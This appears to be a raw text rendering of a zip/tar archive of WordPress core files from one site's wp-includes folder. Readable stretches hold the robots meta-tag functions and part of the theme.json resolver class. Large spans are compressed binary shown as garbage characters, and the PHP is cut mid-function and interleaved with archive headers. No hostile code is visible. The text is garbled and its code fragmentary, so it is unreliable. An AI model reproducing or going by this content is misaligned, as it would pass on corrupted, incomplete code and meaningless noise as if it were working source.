#M=&$OFqUɻiⰾf&}3K9֟vhpy~ia{x$HVymi覫-YE\wѝrYCÙ}u5+ag^sZ/2F+if9ƖhL@"r)}Xrc0\.)Y*udx6=^(.onm 8ƅ2Bce Dw!}|ҫva>hQix[\@>vmt]*Z@U[RV\<ևXK V,VSh}47@cwmYOS5M^.6DJM8*a D!D4xGbx&,9:IJr³gk1Z0RJ7[x:L .1H&~l¼Q69X2I%V'40*U$5$&%IcxM P&Bl_X/+Os{ѲXRYi<Չ.tqTƞ +St9F]TZBNHb|Q%GW65}qU@Z,0JcR /29J&H7IWPɌhj~`bn<`g1c&) a2I{pІ4,9 X3gT ! ˷$ ];ly b,*c J͍Ŭ U&?}e7%WX,Oaǝӳ@o"ZT:8dĺVD6LtI(0`1Y)j/}ޤ79ნdmԌ􋠌&=; 89CVUrMR/Qp"gٻz]\DBrmzVrlf+`kl5(ysQ/*x,W <H[{'g>Hkk +mo޷W֦rC?HA}p[6|pV/s.j#@5*Pm^,F']y̾MF޹Ӭ?8?~~[[j4~p.֚V?TI6VT oL:J7p)rr dȜ0c-ZY[Bz9rU;9~mm^f3@ /fZS跆'_?뀸ErֆԂdz {VS m| Ej|Х;I@{ mй)ExJT'P>a.)Y!\*t;T,\q[,=H`RN < %XqK!J'dS˨nqQ[G/Y>p!jXQ4惫tiOzqP Jk~=1Υx4S"-V{(*kM|iG2U [{?vs)Nv~K$j,x_>d^_9*WVF{Жa.(r y lQV{TMC]1#d[(QYR @nSǍQ.F9\<+tk 7rJ0MنQMCm d&FP`Jc"PYØ_ nE}{>u(gvFgV KeK'hh3U)÷4m󚭼"OzP^Rn%_Fz7F}b鬽Q{XdI#k٧To$u`8JLO)&Užu ]#*fݤ\JîC?\91\psnJRe]"%(*eVz]lG `zs?tmvi*8p'&WpqllJ>MW2IRF@6JTVB) J_ ϾnٛՒ|uJ*[gVHBVֺ4'_$T퐜Rz\,P8n/wU{ӌ" 0S҆i$,eS#t>UR2reړԌ&<1U0Iqk #N!B wN<<)8ƂA; 4wzrMf7/_r_o|('I`Q*&\z銭-w+/nvP|ov_;;ǿ_;?5q3 rV{*oOA+Z|Edg3D h~kzuh_NxōEAt}"kbSsr`(vpty|rDyz$po4>p=Oˀ*˝m<10{tfsoshxsRA60O4v˃C`@?gqeQlx`ysځ^ &.3/w^Р7?$[I%>aԿDº9i|N)Yubkbڳ a1 ~a*fQDur'ftbY L|KKgV}7n0t_=}M}TNK 9d=<nOqP !ҍ*6ދVUf; Cw5vKb7g@88J#0yr]_(%лIBF.vVq_8kXi֭ƅ?\EsfzٴFtcL9m ]Hu Y;$Ǫv&whRw[w&?ȍW_-&'s{cF[ߚ[Og[hLIHH見M)d2{\l^S! t_Y]|ϑq% ^']! :s= qp>}XM!5/X_DNv+)\-t| SqC V9U9~\Sj[W%7_+<~="KVt>]~&]WL ^r6uQERkjK;ikᚅ. N.g::qce}a PR|Bh4TA]Dc WimL2H'K՞nΕMx)$]! |QQUP!.$Š*ȝx YE:k%g[?pN8U`8EJn<JYUK.&j>'YmUp6TUY]ۓ_bD>ey< 䟓!eciV{ʗhK~4n"l=a7M_:V] wLʴ?<+5\ !!,=X$ƋrZQua&;u^pL=5 IoE}tLf̰58PY EɁw(,V zCL[~BkLn 7Oӑ` f: ͸BW^]ҀQ,M eqLeN%Ɖ-pٰEɲ,MPxlbvjU~abd8qps} VM tԻW xAlW.q`GA/ƪ|latu h(m3s`r(gP 8]Fa/Kr q̗`bMaE.C)37!GYwa_1J2O@/$] >^P¥;ZENDKz`c@&ȏ@ULya}րWmTF&^X3 ?X5zT}-zZJ/Yo Z ǁTz=x’pNjXqiRR1 Rg =W e?S |r&2]nXYe9.~gԾfUJ:>=;2dWI^og"ve#L=$BI fZϕ'wֶzUwI8^{ 'rOp"3exTH8>N9A^>Kn{$>ˀ uƘz2Ƅ2J:oaŏU2& ,uWF|KCbf8L4xy`G0 .``iB>fg$8>?P߮}=o[H}Oe f;^sg}SGo$1/Ql_Wkm}|pN.C܄pc WT6ng1n}WgZ2O 6swCB*LaD, (IԖ$ "A хNF2U~\$E*/ M ׎pfY\~kJ\U_SE|ȵYy5T0 Uͣ0WyڮM,ώGFҞl?A}SR-d?/M%>r$௞;Nkb%_ϟ? PK$$[robots-template.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/robots-template.php000064400000012101150547740300020766 0ustar00 $value ) { if ( is_string( $value ) ) { // If a string value, include it as value for the directive. $robots_strings[] = "{$directive}:{$value}"; } elseif ( $value ) { // Otherwise, include the directive if it is truthy. $robots_strings[] = $directive; } } if ( empty( $robots_strings ) ) { return; } echo "\n"; } /** * Adds `noindex` to the robots meta tag if required by the site configuration. * * If a blog is marked as not being public then noindex will be output to * tell web robots not to index the page content. Add this to the * {@see 'wp_robots'} filter. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_noindex' ); * * @since 5.7.0 * * @see wp_robots_no_robots() * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_noindex( array $robots ) { if ( ! get_option( 'blog_public' ) ) { return wp_robots_no_robots( $robots ); } return $robots; } /** * Adds `noindex` to the robots meta tag for embeds. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_noindex_embeds' ); * * @since 5.7.0 * * @see wp_robots_no_robots() * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_noindex_embeds( array $robots ) { if ( is_embed() ) { return wp_robots_no_robots( $robots ); } return $robots; } /** * Adds `noindex` to the robots meta tag if a search is being performed. * * If a search is being performed then noindex will be output to * tell web robots not to index the page content. Add this to the * {@see 'wp_robots'} filter. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_noindex_search' ); * * @since 5.7.0 * * @see wp_robots_no_robots() * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_noindex_search( array $robots ) { if ( is_search() ) { return wp_robots_no_robots( $robots ); } return $robots; } /** * Adds `noindex` to the robots meta tag. * * This directive tells web robots not to index the page content. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_no_robots' ); * * @since 5.7.0 * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_no_robots( array $robots ) { $robots['noindex'] = true; if ( get_option( 'blog_public' ) ) { $robots['follow'] = true; } else { $robots['nofollow'] = true; } return $robots; } /** * Adds `noindex` and `noarchive` to the robots meta tag. * * This directive tells web robots not to index or archive the page content and * is recommended to be used for sensitive pages. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_sensitive_page' ); * * @since 5.7.0 * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_sensitive_page( array $robots ) { $robots['noindex'] = true; $robots['noarchive'] = true; return $robots; } /** * Adds `max-image-preview:large` to the robots meta tag. * * This directive tells web robots that large image previews are allowed to be * displayed, e.g. in search engines, unless the blog is marked as not being public. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_max_image_preview_large' ); * * @since 5.7.0 * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_max_image_preview_large( array $robots ) { if ( get_option( 'blog_public' ) ) { $robots['max-image-preview'] = 'large'; } return $robots; } PK'$[kIIembed-template.php.php.tar.gznu[AK@{_1n֘ JłJAc&&tݤNR zwJ^ Ku>Vˍv?e+UFǺ땿5lUbɠDnR9A SFAX )0CAz )FJeio1D:Q%ЍcLuP djm2\joRBrѼ'h,([Gh>ZvUH>c{Dr0!80f,G? 999tWWWWWW <˖"JUӎ|\^]-vrZ,gY7-Ҧم'nߖY}=^\.~{o=>o=7~7>_~/`lڴ!w|>^y59|uj9ft>ȒzEfy_9P<??&&%USE1WeYd2ʦvC@4[0BZ_, Խ{(e:ϧjm5'?߻oo6=KQ;zo`|H{˳"&u}C֦56ˬ5aS{3"e M& 9O&ãHa,I4ҺN8ufSj=z4+4x54Y-Irm2y]|tuـqz~QW@4jQc3O^?S3|^I뫼98?ːIvϓa2Ird.Rmy|c 1ttR٥{Jl7^. %x&ϴ|;ș6`tI^&)l Zzz2Ig3 ܼ ?t6 \.HtLNev:e5mSWW鈆p~ۗyV#msX9hzPQWP1e"9*ۺ-@=$v֭'˺85X?l2).zޝuty؅;Nug:{׋Xp_˒]nPufp6csd2=b^ [Uynp XoTc#1 ~XJBذ#|؊S6Kf?m>]3լNHMo@gU0 Beg V<5cr!lG ں? :+M2cN\;hz?ǩ4}gc82W~Vr{E%[T0+M2gp_A}Gʂ_B Â%Q;`,j@Zaeda_Tclf2 ebO/@e,tC9]~zFAihta>Caq!9.? 37ylM* ַհ+>RPSU#䔹`2+ac=/5MT g>{tB+3%+o/LN1ٴ*'oSY4?MOlOJQwLT_΅Ŝ⬸S!JY3] Dċ2!_XD܉q>M@L0ru~d-?6}, .6 3È">5&9xs̋ G?j3+'lmt2yr^<~Sad *ʜhE=%=ѵH)B1_6p. %-lJMUtE6Tf] EFT}dPwd{l7 nw w ?w ՝[wl]w&;݀b{B+]fJ0hsOr3@wrt'&%gI&ևh0#:N˪R8}To74BEzG꟪+R度V­SV<aNAT7GOYBx26qBt],@;Y'=N?. lət(/`G!z ݀ƿNcF:ݖB܁[2ySx d"닀`bwxpWS:%%g3:P1Hd;v}uex ch6ʟ%OW%Q5't@dyoڬ_gMnQ@?&]Ri}iy;a5t!&\Bc.b6H&1;xp Z7Pŀ/i2]6m5$L ?H245pw..&̴Bq k|*DZ6FZ=ZIBE+v{#EVaaZ92VY[R`LgˇVL5AwgXyu*C~Zz`wJ PP*VCHKBt_ Ơr[ VaVD}kA.vAmDxc^jx |d s7γc5wxP ֬D zV).iedUS9CW^e[i^:N@oB{wFG`푢Wkt/L8jSsp"{vPS+-r^rp(=G&A'~L6A*?ߟ0lqS-7rӈ^S:70[6Y H~!jp3EQ6;K1Wҳ8NVؒ?‚ =QJ6IWq#wiEWs<>{\ƶS̮ܔZ3 0<,;=e"ZIu%U\gNpN`DC\Z3_gD#4fNS{ή9{~^r+;g8] УBHVM֎ƍ!%)?AeTF&Xl8'GM#^.* a7Nۖ+jUzY~.~d%ئ>/JB꺠}tG;m:5E!s3eZ70HJ:˔^(/A^U˚+Xs!QF6Ӝۘr41`d\'G1;`P 'O Wؔtδa심DQ&ӹyydy21R$^G7^e׌-~aY$DBu@nwy=]86z6;+dk1eM$ SILL%.2pBUڀ^FIDʀ.5hAsrB@4ߢuFT25ɛI |^ EFӘc?Jd¯ycjXFFϘ⒳e܊>W@i6,/52^ZSLWX^qt[ QxҀ wԍUj]Ѻe {('ݓn$&{hI>H泯 <-gv"˴ă>;選!wܗj>bamXVOU[} X?FʈVMPY*|apNoMTMz嬛)WޭoFʅMO5ȆflLbIOI I%XF:vfrX\ "|n?on'Fp0գ0@ErBΥdE~V.7]Cy4֘x RLsU eV bY8νk3\8"*(,b/^?WE"#D%EΜvr9`;3Kݳ,f y ~4P64W3 W>CYADё*tvm]il$>Dw} }ٷUͲۏq xJ[0%z=Vf`U3%>zT±FdgHl׈, G ϊ/ QF;4 p"c v>K23#/;$\#|R͛?<ܥaCLxjAǁȸbXL}XE7+g.@ +b2\8'^PW ^q9xe:U{k$V v^6F0vVUnZ,X5kH*qlI T<d\N5{9EjYk.OkRḧ% W *zۡ?vAa7)QF}݋w6=&X'ʕ;Ɩj~$i`ak.figip&mpňl5'ڀ W+d A;mA!n ɋooK 5qcj~QmNUo'"u]8]ҸLh`s߂?TޛRApO Rf ݎtdBI]Tn6LȺ^Vqvo [n= vV2F>G ̵mcս[F_L#GFQ]M#0KP3ǜ^X:D~hscE**gUsw[= fq 5_PAwx ($F"?t\@={3JWJD0׉ˑO*YOY&.\U M/ .7f >5sTn§GCdTe-D 5ዧ;/ۨ?i> hP%َGQ96vdQ8#uR(kRx*Zj6 5C^{ AZG:jEW*Њ-Ei^BKQMrjTO눱N((so&y' 鯥't޼zٍoTcw}*ޅ!{]/߽Gӽ`$ V$.4X(PIwovtX<Hf|.x_X `APMBf;SADsEsR >x?Z@}Ft`Xl6 ގۥz8Q]WOh3f#Pg;ˀ>Cek=$wkыp3o'O?|݋/|#ȱdE6E U"STۂ+Dc0y_kj,U;%?pkkGl褓?dyY*dbbST"/3,Ee.6q˶]4{{Xq{N CU_}}Ϳ=z(Er, Ғhn@|PpOMO{3=ӭ,Z465UӪwߒxWZ +W%j5htk܈}ZSQeRz!N Yv7wU;uc]Kk‰u*1}%)T lsoí _HS\Y+HL]"|5OA+C; =Tw4ONNAlT#P!-ʹ{NP$cWFm#?s[3-AR)(pNi7on wN;2 _kp#L\N uBsD랮iѣ)#PQp1qb+"zD*%[!\. fKFś*Dʊw譗E 7:ðTT;tƉ~ne`eZW3>30l+laD*"`a +#kc-O}U=%c1'q;䀹bܚHgZ S4 :gK&?A=G!/^#QT,eG#U$OnFa:=Tr4tJUYLK\6m`C eDsm%_|?̈'AnF.hH2~ R4+ӇxSMli<_|aLAqFGPU3¤Au8;i!T//nmkQ9yd%tzzpD{W{!4JΖ(PDxǛ;ʭvJ:Jnmy :|:EBn4T)Qޔ~?CU%o*3ÆjN46)yƿi]5pSlb9/{wWuE=[PN`mE,8l˦BZ: wMjhب׈]*=dQ>||L'Jɕ^{W4k35~69!r4i 't?madN^&OWqG6Բ`? ^E$וr}$c@F9dqo U0}ptsJ~p^T)ńkR98=}]C}g)'k#UP#21CrAxu|# zW&cS DG{ln:/_zxx˂@GT=>~thhͿ~O } LPK,$[Ql$class-wp-theme-json-resolver.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/class-wp-theme-json-resolver.php000064400000105632150553607520023323 0ustar00 array(), 'blocks' => array(), 'theme' => array(), 'user' => array(), ); /** * Container for data coming from core. * * @since 5.8.0 * @var WP_Theme_JSON */ protected static $core = null; /** * Container for data coming from the blocks. * * @since 6.1.0 * @var WP_Theme_JSON */ protected static $blocks = null; /** * Container for data coming from the theme. * * @since 5.8.0 * @var WP_Theme_JSON */ protected static $theme = null; /** * Container for data coming from the user. * * @since 5.9.0 * @var WP_Theme_JSON */ protected static $user = null; /** * Stores the ID of the custom post type * that holds the user data. * * @since 5.9.0 * @var int */ protected static $user_custom_post_type_id = null; /** * Container to keep loaded i18n schema for `theme.json`. * * @since 5.8.0 As `$theme_json_i18n`. * @since 5.9.0 Renamed from `$theme_json_i18n` to `$i18n_schema`. * @var array */ protected static $i18n_schema = null; /** * `theme.json` file cache. * * @since 6.1.0 * @var array */ protected static $theme_json_file_cache = array(); /** * Processes a file that adheres to the theme.json schema * and returns an array with its contents, or a void array if none found. * * @since 5.8.0 * @since 6.1.0 Added caching. * * @param string $file_path Path to file. Empty if no file. * @return array Contents that adhere to the theme.json schema. */ protected static function read_json_file( $file_path ) { if ( $file_path ) { if ( array_key_exists( $file_path, static::$theme_json_file_cache ) ) { return static::$theme_json_file_cache[ $file_path ]; } $decoded_file = wp_json_file_decode( $file_path, array( 'associative' => true ) ); if ( is_array( $decoded_file ) ) { static::$theme_json_file_cache[ $file_path ] = $decoded_file; return static::$theme_json_file_cache[ $file_path ]; } } return array(); } /** * Returns a data structure used in theme.json translation. * * @since 5.8.0 * @deprecated 5.9.0 * * @return array An array of theme.json fields that are translatable and the keys that are translatable. */ public static function get_fields_to_translate() { _deprecated_function( __METHOD__, '5.9.0' ); return array(); } /** * Given a theme.json structure modifies it in place to update certain values * by its translated strings according to the language set by the user. * * @since 5.8.0 * * @param array $theme_json The theme.json to translate. * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings. * Default 'default'. * @return array Returns the modified $theme_json_structure. */ protected static function translate( $theme_json, $domain = 'default' ) { if ( null === static::$i18n_schema ) { $i18n_schema = wp_json_file_decode( __DIR__ . '/theme-i18n.json' ); static::$i18n_schema = null === $i18n_schema ? array() : $i18n_schema; } return translate_settings_using_i18n_schema( static::$i18n_schema, $theme_json, $domain ); } /** * Returns core's origin config. * * @since 5.8.0 * * @return WP_Theme_JSON Entity that holds core data. */ public static function get_core_data() { if ( null !== static::$core && static::has_same_registered_blocks( 'core' ) ) { return static::$core; } $config = static::read_json_file( __DIR__ . '/theme.json' ); $config = static::translate( $config ); /** * Filters the default data provided by WordPress for global styles & settings. * * @since 6.1.0 * * @param WP_Theme_JSON_Data $theme_json Class to access and update the underlying data. */ $theme_json = apply_filters( 'wp_theme_json_data_default', new WP_Theme_JSON_Data( $config, 'default' ) ); /* * Backward compatibility for extenders returning a WP_Theme_JSON_Data * compatible class that is not a WP_Theme_JSON_Data object. */ if ( $theme_json instanceof WP_Theme_JSON_Data ) { static::$core = $theme_json->get_theme_json(); } else { $config = $theme_json->get_data(); static::$core = new WP_Theme_JSON( $config, 'default' ); } return static::$core; } /** * Checks whether the registered blocks were already processed for this origin. * * @since 6.1.0 * * @param string $origin Data source for which to cache the blocks. * Valid values are 'core', 'blocks', 'theme', and 'user'. * @return bool True on success, false otherwise. */ protected static function has_same_registered_blocks( $origin ) { // Bail out if the origin is invalid. if ( ! isset( static::$blocks_cache[ $origin ] ) ) { return false; } $registry = WP_Block_Type_Registry::get_instance(); $blocks = $registry->get_all_registered(); // Is there metadata for all currently registered blocks? $block_diff = array_diff_key( $blocks, static::$blocks_cache[ $origin ] ); if ( empty( $block_diff ) ) { return true; } foreach ( $blocks as $block_name => $block_type ) { static::$blocks_cache[ $origin ][ $block_name ] = true; } return false; } /** * Returns the theme's data. * * Data from theme.json will be backfilled from existing * theme supports, if any. Note that if the same data * is present in theme.json and in theme supports, * the theme.json takes precedence. * * @since 5.8.0 * @since 5.9.0 Theme supports have been inlined and the `$theme_support_data` argument removed. * @since 6.0.0 Added an `$options` parameter to allow the theme data to be returned without theme supports. * @since 6.6.0 Add support for 'default-font-sizes' and 'default-spacing-sizes' theme supports. * Added registration and merging of block style variations from partial theme.json files and the block styles registry. * * @param array $deprecated Deprecated. Not used. * @param array $options { * Options arguments. * * @type bool $with_supports Whether to include theme supports in the data. Default true. * } * @return WP_Theme_JSON Entity that holds theme data. */ public static function get_theme_data( $deprecated = array(), $options = array() ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __METHOD__, '5.9.0' ); } $options = wp_parse_args( $options, array( 'with_supports' => true ) ); if ( null === static::$theme || ! static::has_same_registered_blocks( 'theme' ) ) { $wp_theme = wp_get_theme(); $theme_json_file = $wp_theme->get_file_path( 'theme.json' ); if ( is_readable( $theme_json_file ) ) { $theme_json_data = static::read_json_file( $theme_json_file ); $theme_json_data = static::translate( $theme_json_data, $wp_theme->get( 'TextDomain' ) ); } else { $theme_json_data = array( 'version' => WP_Theme_JSON::LATEST_SCHEMA ); } /* * Register variations defined by theme partials (theme.json files in the styles directory). * This is required so the variations pass sanitization of theme.json data. */ $variations = static::get_style_variations( 'block' ); wp_register_block_style_variations_from_theme_json_partials( $variations ); /* * Source variations from the block registry and block style variation files. Then, merge them into the existing theme.json data. * * In case the same style properties are defined in several sources, this is how we should resolve the values, * from higher to lower priority: * * - styles.blocks.blockType.variations from theme.json * - styles.variations from theme.json * - variations from block style variation files * - variations from block styles registry * * See test_add_registered_block_styles_to_theme_data and test_unwraps_block_style_variations. * */ $theme_json_data = static::inject_variations_from_block_style_variation_files( $theme_json_data, $variations ); $theme_json_data = static::inject_variations_from_block_styles_registry( $theme_json_data ); /** * Filters the data provided by the theme for global styles and settings. * * @since 6.1.0 * * @param WP_Theme_JSON_Data $theme_json Class to access and update the underlying data. */ $theme_json = apply_filters( 'wp_theme_json_data_theme', new WP_Theme_JSON_Data( $theme_json_data, 'theme' ) ); /* * Backward compatibility for extenders returning a WP_Theme_JSON_Data * compatible class that is not a WP_Theme_JSON_Data object. */ if ( $theme_json instanceof WP_Theme_JSON_Data ) { static::$theme = $theme_json->get_theme_json(); } else { $config = $theme_json->get_data(); static::$theme = new WP_Theme_JSON( $config ); } if ( $wp_theme->parent() ) { // Get parent theme.json. $parent_theme_json_file = $wp_theme->parent()->get_file_path( 'theme.json' ); if ( $theme_json_file !== $parent_theme_json_file && is_readable( $parent_theme_json_file ) ) { $parent_theme_json_data = static::read_json_file( $parent_theme_json_file ); $parent_theme_json_data = static::translate( $parent_theme_json_data, $wp_theme->parent()->get( 'TextDomain' ) ); $parent_theme = new WP_Theme_JSON( $parent_theme_json_data ); /* * Merge the child theme.json into the parent theme.json. * The child theme takes precedence over the parent. */ $parent_theme->merge( static::$theme ); static::$theme = $parent_theme; } } } if ( ! $options['with_supports'] ) { return static::$theme; } /* * We want the presets and settings declared in theme.json * to override the ones declared via theme supports. * So we take theme supports, transform it to theme.json shape * and merge the static::$theme upon that. */ $theme_support_data = WP_Theme_JSON::get_from_editor_settings( get_classic_theme_supports_block_editor_settings() ); if ( ! wp_theme_has_theme_json() ) { /* * Unlike block themes, classic themes without a theme.json disable * default presets when custom preset theme support is added. This * behavior can be overridden by using the corresponding default * preset theme support. */ $theme_support_data['settings']['color']['defaultPalette'] = ! isset( $theme_support_data['settings']['color']['palette'] ) || current_theme_supports( 'default-color-palette' ); $theme_support_data['settings']['color']['defaultGradients'] = ! isset( $theme_support_data['settings']['color']['gradients'] ) || current_theme_supports( 'default-gradient-presets' ); $theme_support_data['settings']['typography']['defaultFontSizes'] = ! isset( $theme_support_data['settings']['typography']['fontSizes'] ) || current_theme_supports( 'default-font-sizes' ); $theme_support_data['settings']['spacing']['defaultSpacingSizes'] = ! isset( $theme_support_data['settings']['spacing']['spacingSizes'] ) || current_theme_supports( 'default-spacing-sizes' ); /* * Shadow presets are explicitly disabled for classic themes until a * decision is made for whether the default presets should match the * other presets or if they should be disabled by default in classic * themes. See https://github.com/WordPress/gutenberg/issues/59989. */ $theme_support_data['settings']['shadow']['defaultPresets'] = false; // Allow themes to enable link color setting via theme_support. if ( current_theme_supports( 'link-color' ) ) { $theme_support_data['settings']['color']['link'] = true; } // Allow themes to enable all border settings via theme_support. if ( current_theme_supports( 'border' ) ) { $theme_support_data['settings']['border']['color'] = true; $theme_support_data['settings']['border']['radius'] = true; $theme_support_data['settings']['border']['style'] = true; $theme_support_data['settings']['border']['width'] = true; } // Allow themes to enable appearance tools via theme_support. if ( current_theme_supports( 'appearance-tools' ) ) { $theme_support_data['settings']['appearanceTools'] = true; } } $with_theme_supports = new WP_Theme_JSON( $theme_support_data ); $with_theme_supports->merge( static::$theme ); return $with_theme_supports; } /** * Gets the styles for blocks from the block.json file. * * @since 6.1.0 * * @return WP_Theme_JSON */ public static function get_block_data() { $registry = WP_Block_Type_Registry::get_instance(); $blocks = $registry->get_all_registered(); if ( null !== static::$blocks && static::has_same_registered_blocks( 'blocks' ) ) { return static::$blocks; } $config = array( 'version' => WP_Theme_JSON::LATEST_SCHEMA ); foreach ( $blocks as $block_name => $block_type ) { if ( isset( $block_type->supports['__experimentalStyle'] ) ) { $config['styles']['blocks'][ $block_name ] = static::remove_json_comments( $block_type->supports['__experimentalStyle'] ); } if ( isset( $block_type->supports['spacing']['blockGap']['__experimentalDefault'] ) && ! isset( $config['styles']['blocks'][ $block_name ]['spacing']['blockGap'] ) ) { /* * Ensure an empty placeholder value exists for the block, if it provides a default blockGap value. * The real blockGap value to be used will be determined when the styles are rendered for output. */ $config['styles']['blocks'][ $block_name ]['spacing']['blockGap'] = null; } } /** * Filters the data provided by the blocks for global styles & settings. * * @since 6.1.0 * * @param WP_Theme_JSON_Data $theme_json Class to access and update the underlying data. */ $theme_json = apply_filters( 'wp_theme_json_data_blocks', new WP_Theme_JSON_Data( $config, 'blocks' ) ); /* * Backward compatibility for extenders returning a WP_Theme_JSON_Data * compatible class that is not a WP_Theme_JSON_Data object. */ if ( $theme_json instanceof WP_Theme_JSON_Data ) { static::$blocks = $theme_json->get_theme_json(); } else { $config = $theme_json->get_data(); static::$blocks = new WP_Theme_JSON( $config, 'blocks' ); } return static::$blocks; } /** * When given an array, this will remove any keys with the name `//`. * * @since 6.1.0 * * @param array $input_array The array to filter. * @return array The filtered array. */ private static function remove_json_comments( $input_array ) { unset( $input_array['//'] ); foreach ( $input_array as $k => $v ) { if ( is_array( $v ) ) { $input_array[ $k ] = static::remove_json_comments( $v ); } } return $input_array; } /** * Returns the custom post type that contains the user's origin config * for the active theme or an empty array if none are found. * * This can also create and return a new draft custom post type. * * @since 5.9.0 * * @param WP_Theme $theme The theme object. If empty, it * defaults to the active theme. * @param bool $create_post Optional. Whether a new custom post * type should be created if none are * found. Default false. * @param array $post_status_filter Optional. Filter custom post type by * post status. Default `array( 'publish' )`, * so it only fetches published posts. * @return array Custom Post Type for the user's origin config. */ public static function get_user_data_from_wp_global_styles( $theme, $create_post = false, $post_status_filter = array( 'publish' ) ) { if ( ! $theme instanceof WP_Theme ) { $theme = wp_get_theme(); } /* * Bail early if the theme does not support a theme.json. * * Since wp_theme_has_theme_json() only supports the active * theme, the extra condition for whether $theme is the active theme is * present here. */ if ( $theme->get_stylesheet() === get_stylesheet() && ! wp_theme_has_theme_json() ) { return array(); } $user_cpt = array(); $post_type_filter = 'wp_global_styles'; $stylesheet = $theme->get_stylesheet(); $args = array( 'posts_per_page' => 1, 'orderby' => 'date', 'order' => 'desc', 'post_type' => $post_type_filter, 'post_status' => $post_status_filter, 'ignore_sticky_posts' => true, 'no_found_rows' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'tax_query' => array( array( 'taxonomy' => 'wp_theme', 'field' => 'name', 'terms' => $stylesheet, ), ), ); $global_style_query = new WP_Query(); $recent_posts = $global_style_query->query( $args ); if ( count( $recent_posts ) === 1 ) { $user_cpt = get_object_vars( $recent_posts[0] ); } elseif ( $create_post ) { $cpt_post_id = wp_insert_post( array( 'post_content' => '{"version": ' . WP_Theme_JSON::LATEST_SCHEMA . ', "isGlobalStylesUserThemeJSON": true }', 'post_status' => 'publish', 'post_title' => 'Custom Styles', // Do not make string translatable, see https://core.trac.wordpress.org/ticket/54518. 'post_type' => $post_type_filter, 'post_name' => sprintf( 'wp-global-styles-%s', urlencode( $stylesheet ) ), 'tax_input' => array( 'wp_theme' => array( $stylesheet ), ), ), true ); if ( ! is_wp_error( $cpt_post_id ) ) { $user_cpt = get_object_vars( get_post( $cpt_post_id ) ); } } return $user_cpt; } /** * Returns the user's origin config. * * @since 5.9.0 * @since 6.6.0 The 'isGlobalStylesUserThemeJSON' flag is left on the user data. * Register the block style variations coming from the user data. * * @return WP_Theme_JSON Entity that holds styles for user data. */ public static function get_user_data() { if ( null !== static::$user && static::has_same_registered_blocks( 'user' ) ) { return static::$user; } $config = array(); $user_cpt = static::get_user_data_from_wp_global_styles( wp_get_theme() ); if ( array_key_exists( 'post_content', $user_cpt ) ) { $decoded_data = json_decode( $user_cpt['post_content'], true ); $json_decoding_error = json_last_error(); if ( JSON_ERROR_NONE !== $json_decoding_error ) { wp_trigger_error( __METHOD__, 'Error when decoding a theme.json schema for user data. ' . json_last_error_msg() ); /** * Filters the data provided by the user for global styles & settings. * * @since 6.1.0 * * @param WP_Theme_JSON_Data $theme_json Class to access and update the underlying data. */ $theme_json = apply_filters( 'wp_theme_json_data_user', new WP_Theme_JSON_Data( $config, 'custom' ) ); /* * Backward compatibility for extenders returning a WP_Theme_JSON_Data * compatible class that is not a WP_Theme_JSON_Data object. */ if ( $theme_json instanceof WP_Theme_JSON_Data ) { return $theme_json->get_theme_json(); } else { $config = $theme_json->get_data(); return new WP_Theme_JSON( $config, 'custom' ); } } /* * Very important to verify that the flag isGlobalStylesUserThemeJSON is true. * If it's not true then the content was not escaped and is not safe. */ if ( is_array( $decoded_data ) && isset( $decoded_data['isGlobalStylesUserThemeJSON'] ) && $decoded_data['isGlobalStylesUserThemeJSON'] ) { unset( $decoded_data['isGlobalStylesUserThemeJSON'] ); $config = $decoded_data; } } /** This filter is documented in wp-includes/class-wp-theme-json-resolver.php */ $theme_json = apply_filters( 'wp_theme_json_data_user', new WP_Theme_JSON_Data( $config, 'custom' ) ); /* * Backward compatibility for extenders returning a WP_Theme_JSON_Data * compatible class that is not a WP_Theme_JSON_Data object. */ if ( $theme_json instanceof WP_Theme_JSON_Data ) { static::$user = $theme_json->get_theme_json(); } else { $config = $theme_json->get_data(); static::$user = new WP_Theme_JSON( $config, 'custom' ); } return static::$user; } /** * Returns the data merged from multiple origins. * * There are four sources of data (origins) for a site: * * - default => WordPress * - blocks => each one of the blocks provides data for itself * - theme => the active theme * - custom => data provided by the user * * The custom's has higher priority than the theme's, the theme's higher than blocks', * and block's higher than default's. * * Unlike the getters * {@link https://developer.wordpress.org/reference/classes/wp_theme_json_resolver/get_core_data/ get_core_data}, * {@link https://developer.wordpress.org/reference/classes/wp_theme_json_resolver/get_theme_data/ get_theme_data}, * and {@link https://developer.wordpress.org/reference/classes/wp_theme_json_resolver/get_user_data/ get_user_data}, * this method returns data after it has been merged with the previous origins. * This means that if the same piece of data is declared in different origins * (default, blocks, theme, custom), the last origin overrides the previous. * * For example, if the user has set a background color * for the paragraph block, and the theme has done it as well, * the user preference wins. * * @since 5.8.0 * @since 5.9.0 Added user data, removed the `$settings` parameter, * added the `$origin` parameter. * @since 6.1.0 Added block data and generation of spacingSizes array. * @since 6.2.0 Changed ' $origin' parameter values to 'default', 'blocks', 'theme' or 'custom'. * * @param string $origin Optional. To what level should we merge data: 'default', 'blocks', 'theme' or 'custom'. * 'custom' is used as default value as well as fallback value if the origin is unknown. * @return WP_Theme_JSON */ public static function get_merged_data( $origin = 'custom' ) { if ( is_array( $origin ) ) { _deprecated_argument( __FUNCTION__, '5.9.0' ); } $result = new WP_Theme_JSON(); $result->merge( static::get_core_data() ); if ( 'default' === $origin ) { return $result; } $result->merge( static::get_block_data() ); if ( 'blocks' === $origin ) { 